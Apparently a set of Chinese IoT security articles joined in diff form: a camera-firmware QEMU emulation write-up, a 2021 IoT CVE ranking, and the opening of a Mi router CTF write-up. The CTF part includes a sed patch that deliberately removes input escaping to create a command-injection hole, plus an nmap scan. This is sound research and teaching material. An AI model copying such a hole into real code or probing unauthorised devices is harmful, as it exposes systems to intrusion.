ubuntu@ubuntu-virtual-machine:~/vexpress/image$ sudo mount carm_sd.ext3 rootfs/ubuntu@ubuntu-virtual-machine:~/vexpress/image$ grep -r '/RPC2_Login' ./rootfs/匹配到二进制文件 ./rootfs/usr/bin/sonia./rootfs/mnt/web/jsBase/common/rpcBase.js:^Cubuntu@ubuntu-virtual-machine:~/vexpress/image$ file rootfs/usr/bin/soniarootfs/usr/bin/sonia: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.1.1, BuildID[sha1]=06711d7d2dcc3e9bc81e5e416b935420866181be, stripped
|
||||
```
|
||||
|
||||
把usr/bin/sonia取出来分析一下,找到/RPC2_Login接口对应的代码,确定sonia就是提供web服务的后端功能程序,接下来就可以静态分析上手挖掘了。
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151450.PNG)
|
||||
|
||||
在仿真环境中单独运行一下sonia,出现了许多错误,虽然ps查看进程在后台运行起来了没有结束,但是还是没有出现web服务。
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151459.PNG)
|
||||
|
||||
不知道为什么出现这些打开文件失败的错误,难道是初始化的时候有些资源没初始化成功?因此回过头,再研究一下启动过程中的初始化操作,一步步手动再执行一遍:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151506.PNG)
|
||||
|
||||
跟入到/usr/etc/imod脚本,执行第一条安装osa.ko内核模块的时候报错了,还是不能安装这些模块:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151511.PNG)
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151522.png)
|
||||
|
||||
看见报错信息是一些熟悉的`__stack_chk_guard`安全函数,居然报”Unknown symbol“,如果是普通程序找不到这些常见库函数,通过`LD_PRELOAD、LD_LIBRARY_PATH`这些环境变量指定so库基本可以解决,但现在是内核模块找不到这些符号,内核模块是不能加载普通用户态的so库的;如果在正向开发模块过程中出这个错误可通过编译模块时关闭栈保护来满足内核加载,但现在是内核模块固定,我们需要重新修改内核配置,编译出能加载这种特定的模块才行。前面我们编译特定版本为3.18.30的内核,修改vermagic值等操作都是为了迎合当前的摄像头固件中的模块,现在有这么多符号找不到,难道是加载模块顺序不对?直接去检查了一下摄像头文件系统中的所有ko文件,看看他们的依赖关系:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151530.PNG)
|
||||
|
||||
发现他们一家子都在这里了,没有依赖此目录外的其他模块呀。莫非需要慢慢研究重新一条条修改内核配置?能不能分析一下固件中的kernel.img提取其中的配置,或者直接拿它来运行呢?说干就干!
|
||||
|
||||
`binwalk kernel.img`看到,结构是:uImage头+uImage头+zImage内核头+lzo和xz数据+uImage头:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151538.PNG)
|
||||
|
||||
对比一下自己编译的同版本Linux-3.18.30内核,结构是:uImage头+zImage内核头+gzip数据:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151543.PNG)
|
||||
|
||||
我们知道uImage是zImage添加64字节信息后供uboot识别启动的,仔细研究了一下zImage和uImage格式,看看多的是什么东西:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151550.jpg)
|
||||
|
||||
尝试从kernel.img中使用dd去掉多余的头,分离出uImage文件来尝试运行,裁剪后结构是:uImage头+zImage内核头+lzo和xz数据:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151558.PNG)
|
||||
|
||||
使用自己的uboot加载裁剪好的uImage内核,发现还是不能运行。不清楚为什么,就开始用自己编译的同版本内核A同从固件中提取出来的内核B和自己编译的高版本内核C进行熵对比,可以看到头部结构基本相似,只有在固件中提取出来的内核B尾部混乱程度最高,猜测对某些关键部分进行了加密:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151604.PNG)
|
||||
|
||||
现在又陷入僵局,无法运行从固件中提取出的内核,也提取不了它的内核配置,很难编译一个一模一样的内核去加载模块,不加载这些模块各种服务就不能起来,就不能动态测试,开始瞎猜:我们手里的固件是升级固件,加载它的可能是被魔改过的uboot,魔改后的uboot完全可以对固件或内核关键部分进行加解密,如果固件的某些部分被特殊处理过,只靠手里下载的升级固件肯定是不能继续下去的了,因此我们必须拿到真实设备中的升级程序才行,要搞清楚如何升级固件并运行的。
|
||||
|
||||
好的,找大哥下单买了个摄像头,很快啊,啪的一下就拆开了,看看发生了甚么事:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151611.PNG)
|
||||
|
||||
看见这个flash芯片是这样焊的,以我手中小拇指大的烙铁和粗糙的技术,如果强行飞线可能会造成无法挽回的损失,保险起见,我在淘宝上买了专业的夹具和对应编程器。
|
||||
|
||||
在等待快递的这段时间,尝试修改uboot源码来看看能不能跟入内核,看看魔改后的内核运行到什么程度,是否有特殊自解压操作等。
|
||||
|
||||
开启uboot的DEBUG模式,修改include/log.h 添加#define DEBUG 1
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151619.PNG)
|
||||
|
||||
uboot运行的第一阶段的许多操作在start.S这个汇编代码中实现,主要是对cpu等硬件进行一些初始化,我们不用太关心这个,直接把精力放在第二阶段的arch/arm/lib/bootm.c中,这里有移交控制权给内核操作的代码,比较关键,我们添加两句printf,输出看一下kernel_entry、machid和r2寄存器中的数据和启动参数:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151626.png)
|
||||
|
||||
可以看见kernel_entry是一个函数指针,来自images->ep;跟入include/image.h看看bootm_headers_t的数据结构,得知images->ep就是内核的入口:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151632.png)
|
||||
|
||||
继续看看images中的image_info_t结构体其实就是内核镜像的描述信息;顺便看看旁边mage_header结构体,它就是uImage的结构,上面0x27051956的就是uImage的magic值:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151640.png)
|
||||
|
||||
到此各种文件格式基本分析得差不多了,了解了这些结构中一些特殊字段的含义,现在开始编译debug版本的u-boot.debug,用来加载摄像头固件中提取出来diy的kernel.img.uImage.diy内核:
|
||||
|
||||
```shell
|
||||
ubuntu@ubuntu-virtual-machine:~/vexpress/image$ qemu-system-arm -M vexpress-a9 -m 512 -nographic -net nic -net tap,ifname=tap0,script=no -kernel u-boot.debug -sd carm_sd.ext3
|
||||
```
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151651.PNG)
|
||||
|
||||
配置好ip地址,使用uboot的tftp功能在宿主机上下载提取出来的内核:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151700.png)
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151709.PNG)
|
||||
|
||||
跟到这里,uboot已经把控制权移交给了内核,内核入口地址是0x60000000,执行的是`kernel_entry(0, machid, r2);`到这里就卡死了,应该是到内核里面去了,uboot再也不打印调试信息了,不知道内核运行到什么程度、是否有特殊自解压操作了。我们对比一下正常的同版本内核加载情况,到了0x60000000内核入口处后直接就能开始运行内核了:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151757.png)
|
||||
|
||||
现在没法运行魔改的内核,就没法加载定制的各种ko模块,各种服务也就跑不起来,就不是完美模拟摄像头环境,只有等到专业设备到手了试试直接从芯片中读取数据,搞明白究竟咱操作的再来试试。
|
||||
|
||||
### 实战C:B厂摄像头版本a
|
||||
|
||||
#### 1、提取分析固件、制作文件系统
|
||||
|
||||
使用binwalk -Me ipc_b.bin提取固件得到如下目录:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151751.png)
|
||||
|
||||
#### 2、分析并制作文件系统
|
||||
|
||||
看一下romfs分区中rcS脚本进行了哪些初始化操作,主要看哪些分区挂载到了哪些目录,启动了哪些程序:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151805.PNG)
|
||||
|
||||
根据初始化脚本,创建挂载目录,将对应分区的文件复制到相应文件夹下,然后就可以制作文件系统了;我们还可以修改rcS脚本添加一个shell,将配置网卡、创建目录、解压文件等操作都注释掉,等我们进入shell后手动来执行。最后得到包含摄像头文件的文件系统monitor_sd.ext3
|
||||
|
||||
#### 3、仿真运行
|
||||
|
||||
```shell
|
||||
qemu-system-arm -M vexpress-a9 -m 512 -sd monitor_sd.ext3 -nographic -net nic -net tap,ifname=tap0,script=no -kernel zImage -dtb device.dtb -append "console=ttyAMA0 rootwait rw root=/dev/mmcblk0 init=/linuxrc"
|
||||
```
|
||||
|
||||
报错:一些内核模块加载版本不兼容,只需要编译对应能加载这些模块的内核即可;一些目录不存在,我们进入shell后手动添加即可。
|
||||
|
||||
[
|
||||
](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151817.PNG)
|
||||
|
||||
成功开启telnet服务,尝试与宿主机通讯:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151824.png)
|
||||
|
||||
从宿主机上看虚拟摄像头环境是否正常启动这些服务,尝试登录:
|
||||
|
||||
[](https://cdn.jsdelivr.net/gh/AlexsanderShaw/BlogImages@main/img/vuln/shebei20211117151830.png)
|
||||
|
||||
接下来就可以进行静态分析,上手挖掘啦,然后还可以在仿真环境里动态测试,就不用再花小钱钱买真实的摄像头设备了,成功0成本白嫖一套环境。
|
||||
|
||||
### 其他:
|
||||
|
||||
遇到过固件程序能被binwalk识别,但是不能提取的情况,这是因为固件被加密了,需要拿到硬件设备,从设备中读取芯片数据,从中找到加密方式才行。
|
||||
|
||||
|
||||
|
||||
参考文章:
|
||||
|
||||
【qemu-vexpress】[https://www.qemu.org/docs/master/system/arm/vexpress.html](https://www.qemu.org/docs/master/system/arm/vexpress.html)
|
||||
|
||||
【基于QEMU搭建完整的虚拟ARM开发环境】[https://blog.csdn.net/konga/article/details/79595119](https://blog.csdn.net/konga/article/details/79595119)
|
||||
|
||||
【M.CORE】[https://en.wikipedia.org/wiki/M%C2%B7CORE](https://en.wikipedia.org/wiki/M%C2%B7CORE)
|
||||
|
||||
【M-CORE, microRISC Engine, Programmers Reference Manual】[https://web.archive.org/web/20160304090032/](https://web.archive.org/web/20160304090032/)
|
||||
|
||||
[http://www.saladeteletipos.com/pub/SistemasEmbebidos2006/PlacaMotorola/mcore_rm_1.pdf](http://www.saladeteletipos.com/pub/SistemasEmbebidos2006/PlacaMotorola/mcore_rm_1.pdf)
|
||||
@@ -0,0 +1,186 @@
|
||||
# 2021年物联网设备CVE天梯榜
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/84
|
||||
|
||||
# 2021年物联网设备CVE天梯榜
|
||||
|
||||
时间飞逝,转眼间来到了2022年。新的一年即将开始,让我们来回顾一下2021年的物联网设备CVE情况。2021年CVSSV3平均值为5.5,2020年CVSSV3平均值为6.1,同比去年下降0.6。通过平均值的对比,我们可以清楚的看到各大厂商在2021年对物联网安全的重视性越来越高,产品也越来越安全。物联网与我们的生活息息相关,看到物联网的安全性的不断的提高,作为用户对我们自己的隐私等有了更安全的保证。我们作为一家专注于物联网安全的公司,统计了以下品牌部分评分较高的CVE编号以及描述等。
|
||||
|
||||

|
||||
|
||||
## 思科
|
||||
|
||||
### CVE-2021-34770
|
||||
|
||||
CVSSV3评分7.2,Cisco IOS XE CAPWAP 数据包的堆溢出,用于 Cisco Catalyst 9000 系列无线控制器的 Cisco IOS XE 软件的无线接入点控制和配置 (CAPWAP) 协议处理中存在一个漏洞,该漏洞可以允许未经身份验证的远程攻击者以管理权限执行任意代码或导致拒绝服务 (DoS) 受影响设备的状况。该漏洞是由于验证 CAPWAP 数据包过程中发生的逻辑错误造成的。攻击者可以通过向受影响的设备发送精心制作的 CAPWAP 数据包来利用此漏洞。成功的利用可以允许攻击者以管理权限执行任意代码或导致受影响的设备崩溃并重新加载,从而导致 DoS 。(NVD发布日期:2021-09-22)
|
||||
|
||||
### CVE-2021-34730
|
||||
|
||||
CVSSV3评分9.8,Cisco Small Business RV110W、RV130、RV130W 和 RV215W 路由器的通用即插即用 (UPnP) 服务中存在一个漏洞,该漏洞可以允许未经身份验证的远程攻击者执行任意代码或导致受影响的设备意外重启,从而导致拒绝服务 (DoS) 。此漏洞是由于对传入 UPnP 流量的验证不当造成的。攻击者可以通过向受影响的设备发送精心设计的 UPnP 请求来利用此漏洞。成功的利用可以允许攻击者以 root 用户身份在底层操作系统上执行任意代码或导致设备重新加载,从而导致 DoS 。(NVD发布日期:2021-08-18)
|
||||
|
||||
### CVE-2021-34727
|
||||
|
||||
CVSSV3评分9.8, Cisco IOS XE SD-WAN 软件中 vDaemon 进程中的漏洞可以允许未经身份验证的远程攻击者在受影响的设备上造成缓冲区溢出。此漏洞是由于受影响的设备处理流量时边界检查不足造成的。攻击者可以通过向设备发送精心设计的流量来利用此漏洞。成功的利用可以允许攻击者导致缓冲区溢出并可以使用 root 级权限执行任意命令,或导致设备重新加载,这可以导致拒绝服务。(NVD发布日期:2021-09-22)
|
||||
|
||||
### CVE-2021-1619
|
||||
|
||||
CVSSV3评分9.1,Cisco IOS XE软件的AAA (authentication, authorization, and accounting)功能存在一个漏洞,可以允许未经认证的远程攻击者绕过NETCONF或RESTCONF认证,执行以下任意一种操作:安装、操作或删除受影响设备的配置导致内存损坏,导致受影响设备上拒绝服务(DoS)。该漏洞是由于一个未初始化的变量造成的。攻击者可以通过向受影响的设备发送一系列NETCONF或RESTCONF请求来利用这个漏洞。一个成功的攻击可以允许攻击者使用NETCONF或RESTCONF来安装、操作或删除网络设备的配置,或破坏设备上的内存,从而导致DoS。(NVD发布日期:2021-09-22)
|
||||
|
||||
### CVE-2021-1610
|
||||
|
||||
CVSSV3评分8.8,Cisco Small Business RV340、RV340W、RV345 和 RV345P 双 WAN 千兆 VPN 路由器的基于 Web 的管理界面中的多个漏洞可以允许攻击者执行以下操作:执行任意代码导致拒绝服务 (DoS)、执行任意命令。(NVD发布日期:2021-08-04)
|
||||
|
||||
### CVE-2021-1609
|
||||
|
||||
CVSSV3评分9.8,Cisco Small Business RV340、RV340W、RV345 和 RV345P 双 WAN 千兆 VPN 路由器的基于 Web 的管理界面中的多个漏洞可以允许攻击者执行以下操作:执行任意代码导致拒绝服务 (DoS) 、执行任意命令 。(NVD发布日期:2021-08-04)
|
||||
|
||||
## TP-Link
|
||||
|
||||
### CVE-2021-41653
|
||||
|
||||
CVSSV3评分9.8, TL-WR840N(EU)_V5_171211 固件的 TP-Link TL-WR840N EU v5 路由器上的 PING 功能很容易受到通过IP地址输入字段中设计的有效负载执行远程代码的攻击。(NVD发布日期:2021-11-13)
|
||||
|
||||
### CVE-2021-41450
|
||||
|
||||
CVSSV3评分7.5,v1_211117 之前的 TP-Link AX10v1 中的 HTTP 请求走私攻击允许未经身份验证的远程攻击者通过发送特定的 HTTP 数据包对 Web 应用程序进行 DoS。(NVD发布日期:2021-12-08)
|
||||
|
||||
### CVE-2020-35576
|
||||
|
||||
CVSSV3评分8.8,TP-Link TL-WR841N V13 Traceroute 权限升级,固件版本低于 201216 的TP-Link TL-WR841N V13 (JP) 上的 traceroute 功能中的命令注入允许经过身份验证的用户通过 shell 元字符以 root 身份执行任意代码,这是与 CVE-2018-12577 不同的漏洞。(NVD发布日期:2021-01-27)
|
||||
|
||||
### CVE-2021-27246
|
||||
|
||||
CVSSV3评分8.0,TP-LINK Archer A7 AC1750 tdpServer Endpoint 内存损坏,此漏洞允许邻近网络的攻击者在受影响的 TP-Link Archer A7 AC1750 1.0.15 路由器安装上执行任意代码。利用此漏洞不需要身份验证。该漏洞存在于 tdpServer 端点处理 MAC 地址的过程中。精心设计的 TCP 消息可以将堆栈指针写入堆栈。攻击者可以利用此漏洞在 root 用户的上下文中执行代码。(NVD发布日期:2021-04-15)
|
||||
|
||||
### CVE-2021-27245
|
||||
|
||||
CVSSV3评分8.1, TP-LINK Archer A7/Archer C7 IPv6 SSH 权限升级,此漏洞允许在 Archer C7(US)_V5_210125 和 Archer A7(US)_V5_200220 AC1750 路由器之前的受影响安装的 TP-Link Archer A7 上绕过防火墙。利用此漏洞不需要身份验证。该漏洞存在于 IPv6 连接的处理中。该问题是由于缺乏对 IPv6 SSH 连接的适当过滤造成的。攻击者可以结合其他漏洞利用此漏洞在 root 上下文中执行代码。(NVD发布日期:2021-03-29)
|
||||
|
||||
## Juniper
|
||||
|
||||
### CVE-2021-31384
|
||||
|
||||
CVSSV3评分10.0,Juniper Junos OS J-Web Web Administrative Interface 权限升级,由于在特定设备配置中缺少授权和访问控制力度不足,在SRX系列上的Juniper Networks Junos系统存在一个漏洞,攻击者可以通过该漏洞从任何设备接口成功访问J-Web管理界面,而不考虑web管理配置和过滤规则,这些规则会保护对J-Web的访问。(NVD发布日期:2021-10-19)
|
||||
|
||||
### CVE-2021-31372
|
||||
|
||||
CVSSV3评分8.8,Juniper Networks Junos OS 的 J-Web 中的不正确输入验证漏洞允许经过本地身份验证的 J-Web 攻击者将其权限提升为目标设备的 root权限。(NVD发布日期:2021-10-19)
|
||||
|
||||
### CVE-2021-31349
|
||||
|
||||
CVSSV3评分9.8,Juniper 128 Technology Session Smart Router HTTP Header 弱身份验证,使用内部 HTTP 标头创建的身份验证绕过漏洞 (CWE-287),允许攻击者查看内部文件、更改设置、操纵服务和执行任意代码。(NVD发布日期:2021-10-19)
|
||||
|
||||
### CVE-2021-0249
|
||||
|
||||
CVSSV3评分9.8,在配置了UTM服务的SRX系列设备上,Juniper Networks Junos OS的数据包转发引擎(PFE)中存在缓冲区溢出漏洞,攻击者可通过向设备发送精心编制的数据包,在目标上执行任意代码或命令。(NVD发布日期:2021-04-22)
|
||||
|
||||
### CVE-2021-0277
|
||||
|
||||
CVSSV3评分8.8,Juniper Networks Junos OS 和 Junos OS Evolved 的第 2 层控制协议守护进程 (l2cpd) 在处理特制 LLDP 帧时存在越界读取漏洞,可以允许攻击者导致拒绝服务 (DoS),或导致远程代码执行 (RCE)。继续接收和处理从本地广播域发送的这些帧,将反复使 l2cpd 进程崩溃造成拒绝服务 (DoS) 。(NVD发布日期:2021-07-15)
|
||||
|
||||
## Netgear
|
||||
|
||||
### CVE-2021-45622
|
||||
|
||||
CNA评分9.6,某些NETGEAR设备会受到未经认证的攻击者的命令注入的影响。(NVD发布日期:2021-12-25)
|
||||
|
||||
### CVE-2021-45620
|
||||
|
||||
CVSSV3评分9.8,某些NETGEAR设备会受到未经认证的攻击者的命令注入的影响。(NVD发布日期:2021-12-25)
|
||||
|
||||
### CVE-2021-45616
|
||||
|
||||
CVSSV3评分9.8,某些 NETGEAR 设备会受到未经身份验证的攻击者命令注入的影响。(NVD发布日期:2021-12-25)
|
||||
|
||||
### CVE-2021-45612
|
||||
|
||||
CVSSV3评分9.6,某些 NETGEAR 设备会受到未经身份验证的攻击者命令注入的影响。(NVD发布日期:2021-12-25)
|
||||
|
||||
### CVE-2021-40867
|
||||
|
||||
CVSSV3评分7.1,Netgear GC108P HTTP Authentication 弱身份验证,某些 NETGEAR 智能交换机受到身份验证劫持竞争条件漏洞的影响,该漏洞由未经身份验证的攻击者在登录过程中使用与管理员相同的源 IP 地址(例如,在同一个NAT设备,或者已经拥有立足管理的机器上)。发生这种情况是因为多步骤 HTTP 身份验证过程仅与源 IP 地址有效绑定。(NVD发布日期:2021-09-13)
|
||||
|
||||
## F5 BIG-IP
|
||||
|
||||
### CVE-2021-22987
|
||||
|
||||
CVSSV3评分9.9,在 BIG-IP 版本 16.0.1.1 之前的 16.0.x、15.1.2.1 之前的 15.1.x、14.1.4 之前的 14.1.x、13.1.3.6 之前的 13.1.x、12.1.5.3 之前的 12.1.x 和 12.1.5.3 之前11.6.5.3 在设备模式下运行时,流量管理用户界面 (TMUI),在未公开的页面中存在一个经过身份验证的远程命令执行漏洞。(NVD发布日期:2021-3-31)
|
||||
|
||||
### CVE-2021-22986
|
||||
|
||||
CVSSV3评分9.8,在 16.0.1.1 之前的 BIG-IP 版本 16.0.x、15.1.2.1 之前的 15.1.x、14.1.4 之前的 14.1.x、13.1.3.6 之前的 13.1.x 和 12.1.5.3 之前的 12.1.x 和 BIG-IQ 7.1.0.x 7.1.0.3 之前和 7.0.0.x 7.0.0.2 之前,iControl REST 接口存在未经身份验证的远程命令执行漏洞。(NVD发布日期:2021-3-31)
|
||||
|
||||
### CVE-2021-23031
|
||||
|
||||
CVSSV3评分9.9,在 16.0.1.2 之前的版本 16.0.x、15.1.3 之前的 15.1.x、14.1.4.1 之前的 14.1.x、13.1.4 之前的 13.1.x、12.1.6 之前的 12.1.x 和 11.6.6.5.131 之前的 11.6.x ,经过身份验证的用户可以在 BIG-IP 高级 WAF 和 ASM 配置实用程序上执行权限提升。(NVD发布日期:2021-09-14)
|
||||
|
||||
### CVE-2021-22992
|
||||
|
||||
CVSSV3评分9.8,F5 BIG-IP/BIG-IP Virtual Edition 信息公开,在 BIG-IP 版本 16.0.1.1 之前的 16.0.x、15.1.2.1 之前的 15.1.x、14.1.4 之前的 14.1.x、13.1.3.6 之前的 13.1.x、12.1.5.3 之前的 12.1.x 和 12.1.5.3 之前11.6.5.3 对策略中配置了登录页面的高级 WAF/BIG-IP ASM 虚拟服务器的恶意 HTTP 响应会触发缓冲区溢出,从而导致 DoS 攻击。在某些情况下,它可以允许远程代码执行 (RCE),从而导致系统完全受损。注意:不评估已达到软件开发结束 (EoSD) 的软件版本。(NVD发布日期:2021-03-31)
|
||||
|
||||
### CVE-2021-22989
|
||||
|
||||
CVSSV3评分9.1,经身份验证的远程命令执行,在 BIG-IP 版本 16.0.1.1 之前的 16.0.x、15.1.2.1 之前的 15.1.x、14.1.4 之前的 14.1.x、13.1.3.6 之前的 13.1.x、12.1.5.3 之前的 12.1.x 和 12.1.5.3 之前11.6.5.3,当在配置了高级 WAF 或 BIG-IP ASM 的设备模式下运行时,TMUI在未公开的页面中存在一个经过身份验证的远程命令执行漏洞。(NVD发布日期:2021-03-31)
|
||||
|
||||
### CVE-2021-22988
|
||||
|
||||
CVSSV3评分8.8,在 BIG-IP 版本 16.0.1.1 之前的 16.0.x、15.1.2.1 之前的 15.1.x、14.1.4 之前的 14.1.x、13.1.3.6 之前的 13.1.x、12.1.5.3 之前的 12.1.x 和 12.1.5.3 之前11.6.5.3、TMUI,也称为配置实用程序,在未公开的页面中存在一个经过身份验证的远程命令执行漏洞。(NVD发布日期:2021-3-31)
|
||||
|
||||
## ASUS
|
||||
|
||||
### CVE-2021-41436
|
||||
|
||||
CVSSV3评分7.5,ASUS ROG Rapture GT-AX11000、RT-AX3000、RT-AX55、RT-AX56U、RT-AX56U_V2、RT-AX58U、RT-AX82U、RT-AX82U GUNDAM EDITION、RT-AX86系列网页应用程序中的HTTP请求走私,0.4.386.45898 和 3.0.0.4.386.45911 之前的 RT-AX68U 允许远程未经身份验证的攻击者通过发送特制的 HTTP 数据包进行 DoS。(NVD发布日期:2021-11-19)
|
||||
|
||||
### CVE-2021-41435
|
||||
|
||||
CVSSV3评分9.8,允许远程攻击者通过发送特定的 HTTP 请求尝试任意次数的登录尝试。(NVD发布日期:2021-11-19)
|
||||
|
||||
### CVE-2021-32030
|
||||
|
||||
CVSSV3评分9.8,3.0.0.4.386.42643 之前版本的 ASUS GT-AC2900 设备上的管理员应用程序在处理来自未经身份验证的用户的远程输入时允许绕过身份验证,从而导致未经授权访问管理员界面。这与 router/httpd/httpd.c 中的 handle_request 和 web_hook.o 中的 auth_check 有关。在某些情况下,攻击者提供的值“\0”与设备的默认值“\0”匹配。(NVD发布日期:2021-05-06)
|
||||
|
||||
### CVE-2021-3166
|
||||
|
||||
CVSSV3评分7.5,在ASUS DSL-N14U-B1 1.1.2.3_805设备上发现一个问题。当文件名Settings_DSL-N14U-B1时,攻击者可以上传任意文件内容作为固件更新。一旦加载这个文件,就会像真正的更新一样触发大量服务的关闭措施,导致这些服务的持续中断。(NVD发布日期:2021-01-18)
|
||||
|
||||
### CVE-2021-3229
|
||||
|
||||
CVSSV3评分7.5,ASUS RT-AX3000固件版本3.0.0.4.384_10177及更早版本的拒绝服务允许攻击者通过持续的登录错误来中断设备安装服务的使用。(NVD发布日期:2021-02-05)
|
||||
|
||||
## Tenda
|
||||
|
||||
### CVE-2021-44352
|
||||
|
||||
CVSSV3评分9.8,通过goform/SetIpMacBind中的post请求中的list参数,Tenda AC15 V15.03.05.18_multi设备存在一个基于堆栈的缓冲区溢出漏洞。(NVD发布日期:2021-12-03)
|
||||
|
||||
### CVE-2021-31758
|
||||
|
||||
CVSSV3评分9.8,在固件版本为02.03.01.104_CN的Tenda AC11设备上发现一个漏洞。/goform/setportList中的堆栈缓冲区溢出漏洞允许攻击者通过一个精巧的post请求在系统上执行任意代码。(NVD发布日期:2021-05-07)
|
||||
|
||||
### CVE-2021-31757
|
||||
|
||||
CVSSV3评分9.8,在固件版本为02.03.01.104_CN的Tenda AC11设备上发现一个漏洞。/goform/setVLAN中的堆栈缓冲区溢出漏洞允许攻击者通过一个精编的post请求在系统上执行任意代码。(NVD发布日期:2021-05-07)
|
||||
|
||||
### CVE-2021-31756
|
||||
|
||||
CVSSV3评分9.8,在固件版本为02.03.01.104_CN的Tenda AC11设备上发现一个漏洞。/gofrom/setwanType中的堆栈缓冲区溢出漏洞允许攻击者通过一个精巧的post请求在系统上执行任意代码。当恶意攻击控制的输入向量被复制到堆栈变量时,就会发生这种情况。(NVD发布日期:2021-05-07)
|
||||
|
||||
### CVE-2021-31755
|
||||
|
||||
CVSSV3评分9.8,在固件版本为02.03.01.104_CN的Tenda AC11设备上发现一个漏洞。/goform/setmac中的堆栈缓冲区溢出漏洞允许攻击者通过一个精巧的post请求在系统上执行任意代码。(NVD发布日期:2021-05-07)
|
||||
|
||||
### CVE-2021-27707
|
||||
|
||||
CVSSV3评分9.8 ,带有固件v15.11.0.17(9502)_CN的Tenda G1和G3路由器的缓冲区溢出允许远程攻击者通过一个手工操作/“portMappingIndex”请求执行任意代码。这是因为“formDelPortMapping”函数直接将参数“portMappingIndex”无限制地传递给strcpy。(NVD发布日期:2021-04-14)
|
||||
|
||||
(注:数据均来自CVE数据库)
|
||||
|
||||
相信各位从事物联网安全的人员在2021年一年的工作之中一定非常的辛苦,通过2021年与2020年的数据对比可以很清楚的看出我们安全人员的艰辛和各大厂商对安全的重视程度,为我们的隐私安全提供了保障。在未来,信睿网络将与你们在物联网安全领域一起奋斗,打造一个安全、稳定的物联网生态环境。
|
||||
|
||||

|
||||
话说回来,各位对以上厂商哪个CVE漏洞印象最深呢?欢迎各位在评论区评论!
|
||||
|
||||
转发自微信公众号 **IOTsec Zone**
|
||||
|
||||

|
||||
@@ -0,0 +1,645 @@
|
||||
# 2021强网杯赛题Mi Route复现
|
||||
> l1s00t
|
||||
> 来源:https://www.iotsec-zone.com/article/419
|
||||
|
||||
# 2021强网杯赛题Mi Route复现
|
||||
|
||||
这篇文章笔者也是鸽了好久,直到最近,才基本写完。期间,参考了很多大佬的文章,在此向各位佬磕一个。
|
||||
话不多说,直接开始。
|
||||
|
||||
## 题目要求
|
||||
|
||||

|
||||
|
||||
## 题目获取
|
||||
|
||||
1. 购买小米路由器PRO
|
||||
2. 刷入开发板固件2.13.65,小米路由器下载地址[http://www1.miwifi.com/miwifi_download.html](http://www1.miwifi.com/miwifi_download.html)
|
||||
3. 开启小米路由器ssh,具体参考[https://blog.csdn.net/desertworm/article/details/117958369](https://blog.csdn.net/desertworm/article/details/117958369)
|
||||
4. 打patch
|
||||
|
||||
```shell
|
||||
cp /usr/lib/lua/traffic.lua /tmp
|
||||
sed -i 's/:gsub("%$", "\\\\$")//g' /tmp/traffic.lua
|
||||
mount -o bind /tmp/traffic.lua /usr/lib/lua//traffic.lua
|
||||
```
|
||||
|
||||
## 基本分析
|
||||
|
||||
### 题目分析
|
||||
|
||||
在读完题目后,可以得到以下要点:
|
||||
|
||||
1. 实现未授权RCE,并挂载黑页
|
||||
2. 题目选手端开启了ssh
|
||||
3. 题目固件是patch过的,也即题目漏洞可能是出题人故意造的,也有可能修复一些未知bug。
|
||||
|
||||
### 寻找patch点
|
||||
|
||||
这里应该是下载原版固件,然后使用diff分析patch点。这里我们是用原件patch过的,也没必要分析patch点了。
|
||||
|
||||
### 信息收集
|
||||
|
||||
1. 端口扫描
|
||||
|
||||
```shell
|
||||
sudo nmap -sT -sU -p 0-65535 192.168.31.1
|
||||
```
|
||||
|
||||

|
||||
|
||||
没有发现什么可疑端口。有点怪,ssh端口没有扫描出来。
|
||||
|
||||
